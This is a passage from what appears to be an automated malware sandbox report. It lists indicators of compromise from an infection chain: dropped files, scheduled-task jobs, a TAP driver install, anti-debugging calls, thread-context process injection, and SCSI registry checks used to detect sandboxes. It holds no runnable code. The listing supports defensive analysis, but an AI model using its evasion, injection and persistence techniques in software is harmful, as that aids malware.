DrvInst.exeDNnZcAy.exeQDsgliQ.exesetup.exesetup.exesetup.exerundll32.exepowershell.exermwnDPC.exepowershell.exetapinstall.exeDrvInst.exesetup.exepowershell.exepowershell.exeppBOOOa.exesetup.exedescription ioc process File created C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a}\SET8386.tmp DrvInst.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat DNnZcAy.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CC197601BE0898B7B0FCC91FA15D8A69_63B828E1707C37CA3C35011677B59CC6 QDsgliQ.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini setup.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a}\SET8374.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.inf DrvInst.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini setup.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CC197601BE0898B7B0FCC91FA15D8A69_63B828E1707C37CA3C35011677B59CC6 QDsgliQ.exe File created C:\Windows\system32\GroupPolicy\gpt.ini setup.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 rundll32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat QDsgliQ.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol rmwnDPC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies rundll32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a} DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF tapinstall.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF DrvInst.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE rundll32.exe File created C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a}\SET8374.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a}\SET8385.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a}\SET8385.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a}\SET8386.tmp DrvInst.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini setup.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini rmwnDPC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CFE86DBBE02D859DC92F1E17E0574EE8_46766FC45507C0B9E264E4C18BC7288B QDsgliQ.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache QDsgliQ.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CFE86DBBE02D859DC92F1E17E0574EE8_46766FC45507C0B9E264E4C18BC7288B QDsgliQ.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content QDsgliQ.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a}\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt DrvInst.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat rundll32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 rundll32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft QDsgliQ.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData QDsgliQ.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a}\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{5dcc0f68-1e3b-5d40-b5cd-0b34be9b411a}\tap0901.sys DrvInst.exe File created C:\Windows\System32\DriverStore\drvstore.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.cat DrvInst.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol QDsgliQ.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini ppBOOOa.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini setup.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
Processes:
parse.exeparse.exeparse.exemask_svc.exemask_svc.exemask_svc.exepid process 5024 parse.exe 5000 parse.exe 5052 parse.exe 5024 parse.exe 5000 parse.exe 5052 parse.exe 5024 parse.exe 9344 mask_svc.exe 10744 mask_svc.exe 11984 mask_svc.exe -
Suspicious use of SetThreadContext 6 IoCs
Processes:
privacytools5.exejjSCW2eoA.exeprivacytools5.exeprivacytools5.exeprivacytools5.exeprivacytools5.exedescription pid process target process PID 15252 set thread context of 15656 15252 privacytools5.exe privacytools5.exe PID 7268 set thread context of 7820 7268 jjSCW2eoA.exe jjSCW2eoA.exe PID 15748 set thread context of 5364 15748 privacytools5.exe privacytools5.exe PID 6988 set thread context of 8660 6988 privacytools5.exe privacytools5.exe PID 13728 set thread context of 4704 13728 privacytools5.exe privacytools5.exe PID 18044 set thread context of 17916 18044 privacytools5.exe privacytools5.exe -
Drops file in Program Files directory 64 IoCs
Processes:
app.exeQDsgliQ.exeDNnZcAy.exeIBInstaller_97039.tmpvpn.tmpSxjcCox.exeMaskVPNUpdate.exe7za.exesetup.exesetup.exeprolab.tmpdescription ioc process File created C:\Program Files (x86)\Black-Haze\help.txt app.exe File created C:\Program Files (x86)\Black-Haze\winamp-plugins.7z app.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\bg\messages.json QDsgliQ.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\zh_CN\messages.json DNnZcAy.exe File opened for modification C:\Program Files (x86)\yjiDqdgnMIE\files\Kernel.js DNnZcAy.exe File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\ServiceModelInstallRC.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Refactoring.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\is-MNL7N.tmp vpn.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\zh_TW\messages.json QDsgliQ.exe File created C:\Program Files (x86)\yjiDqdgnMIE\eIqwpVq.exe QDsgliQ.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\sl\messages.json DNnZcAy.exe File created C:\Program Files (x86)\MaskVPN\is-4AB21.tmp vpn.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\pl\messages.json SxjcCox.exe File created C:\Program Files (x86)\yjiDqdgnMIE\kVLys0L.dll SxjcCox.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\hi\messages.json SxjcCox.exe File opened for modification C:\Program Files (x86)\yjiDqdgnMIE\files\Kernel.js SxjcCox.exe File created C:\Program Files (x86)\MCoLVEAxuDhpC\nkyMnUp.dll SxjcCox.exe File created C:\Program Files (x86)\MCoLVEAxuDhpC\ETfSDLy.xml SxjcCox.exe File created C:\Program Files (x86)\hxLIpSuPLJUn\GslyyuU.dll QDsgliQ.exe File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Interop.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libeay32.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\unins000.dat vpn.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\sk\messages.json DNnZcAy.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\vi\messages.json DNnZcAy.exe File created C:\Program Files (x86)\MCoLVEAxuDhpC\IUfyEPN.dll DNnZcAy.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\el\messages.json DNnZcAy.exe File opened for modification C:\Program Files (x86)\MaskVPN\libMaskVPN.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-LUNK2.tmp vpn.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\he\messages.json QDsgliQ.exe File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-6HRTV.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\ipseccmd.exe vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\version MaskVPNUpdate.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\ro\messages.json QDsgliQ.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\th\messages.json QDsgliQ.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\en\messages.json DNnZcAy.exe File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Globalization.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\win732\tapinstall.exe vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp64\devcon.exe vpn.tmp File opened for modification C:\Program Files (x86)\Wispy-Brook\winamp.exe 7za.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\fr\messages.json SxjcCox.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\de\messages.json QDsgliQ.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\fil\messages.json QDsgliQ.exe File created C:\Program Files (x86)\Hidden-Thunder\7za.dll setup.exe File created C:\Program Files (x86)\Hidden-Thunder\7za.exe setup.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-MET3S.tmp vpn.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\et\messages.json SxjcCox.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\sq\messages.json DNnZcAy.exe File created C:\Program Files (x86)\MaskVPN\is-5BCTT.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-2R8T7.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Wispy-Brook\winamp.7z setup.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\he\messages.json DNnZcAy.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\it\messages.json DNnZcAy.exe File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp32\devcon.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-LVKC5.tmp vpn.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\en_GB\messages.json DNnZcAy.exe File created C:\Program Files (x86)\MaskVPN\is-OK603.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-NN31L.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-MIEIH.tmp vpn.tmp File created C:\Program Files (x86)\Picture Lab\is-F17M8.tmp prolab.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-3ND7Q.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\is-SV1JA.tmp vpn.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\MkWeJlP.exe SxjcCox.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\zh_CN\messages.json QDsgliQ.exe File created C:\Program Files (x86)\MMWqmhiAcXveJYezuLR\FvbUmvv.xml DNnZcAy.exe -
Drops file in Windows directory 37 IoCs
Processes:
schtasks.exeschtasks.exeschtasks.exemultitimer.exeapp.exeMicrosoftEdge.exeschtasks.exeschtasks.exemultitimer.exeMicrosoftEdge.exeDrvInst.exemultitimer.exeschtasks.exemultitimer.exeschtasks.exeschtasks.exemultitimer.exesvchost.exeDrvInst.exeWerFault.exeschtasks.exeMicrosoftEdge.execsrss.exeschtasks.exeschtasks.exeschtasks.exetapinstall.exedescription ioc process File opened for modification C:\Windows\Tasks\bWIRRaDZCpCYZHZEtf.job schtasks.exe File created C:\Windows\Tasks\hMZOFgVuABkGdcuhk.job schtasks.exe File opened for modification C:\Windows\Tasks\cbBtQoNpOByPPTwrn.job schtasks.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File opened for modification C:\Windows\rss app.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Tasks\cbBtQoNpOByPPTwrn.job schtasks.exe File created C:\Windows\Tasks\bWIRRaDZCpCYZHZEtf.job schtasks.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\inf\oem2.inf DrvInst.exe File created C:\Windows\rss\csrss.exe app.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe File created C:\Windows\Tasks\qTJPyBJZsADsDDd.job schtasks.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe File opened for modification C:\Windows\Tasks\cbBtQoNpOByPPTwrn.job schtasks.exe File created C:\Windows\Tasks\bWIRRaDZCpCYZHZEtf.job schtasks.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File opened for modification C:\Windows\INF\setupapi.dev.log svchost.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File created C:\Windows\Tasks\qTJPyBJZsADsDDd.job schtasks.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\inf\oem2.inf DrvInst.exe File created C:\Windows\INF\oem2.PNF DrvInst.exe File created C:\Windows\windefender.exe csrss.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File created C:\Windows\Tasks\bWIRRaDZCpCYZHZEtf.job schtasks.exe File created C:\Windows\Tasks\qTJPyBJZsADsDDd.job schtasks.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe File created C:\Windows\Tasks\bWIRRaDZCpCYZHZEtf.job schtasks.exe File opened for modification C:\Windows\INF\setupapi.dev.log tapinstall.exe File opened for modification C:\Windows\windefender.exe csrss.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 23 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 7036 4872 WerFault.exe xw204n1ofqr.exe 4756 4872 WerFault.exe xw204n1ofqr.exe 5736 4872 WerFault.exe xw204n1ofqr.exe 6924 4872 WerFault.exe xw204n1ofqr.exe 4712 4872 WerFault.exe xw204n1ofqr.exe 8088 4872 WerFault.exe xw204n1ofqr.exe 8144 4872 WerFault.exe xw204n1ofqr.exe 4776 7104 WerFault.exe 56A5.tmp.exe 8300 4152 WerFault.exe MicrosoftEdgeCP.exe 12960 10472 WerFault.exe ugk5iqmtyu1.exe 12220 10472 WerFault.exe ugk5iqmtyu1.exe 12532 10472 WerFault.exe ugk5iqmtyu1.exe 12824 10472 WerFault.exe ugk5iqmtyu1.exe 10660 10472 WerFault.exe ugk5iqmtyu1.exe 14740 10472 WerFault.exe ugk5iqmtyu1.exe 14504 10472 WerFault.exe ugk5iqmtyu1.exe 14048 7924 WerFault.exe rp03erkobpf.exe 15092 7924 WerFault.exe rp03erkobpf.exe 2612 7924 WerFault.exe rp03erkobpf.exe 6028 7924 WerFault.exe rp03erkobpf.exe 16120 7924 WerFault.exe rp03erkobpf.exe 15468 7924 WerFault.exe rp03erkobpf.exe 16496 7924 WerFault.exe rp03erkobpf.exe -
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
DrvInst.exesvchost.exetapinstall.exeprivacytools5.exesvchost.exeprivacytools5.exeDrvInst.exeprivacytools5.exevict.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI privacytools5.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\ svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004C svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI privacytools5.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI privacytools5.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs vict.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI privacytools5.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Service DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0054 svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI privacytools5.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 vict.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000 DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D svchost.exe Key opened 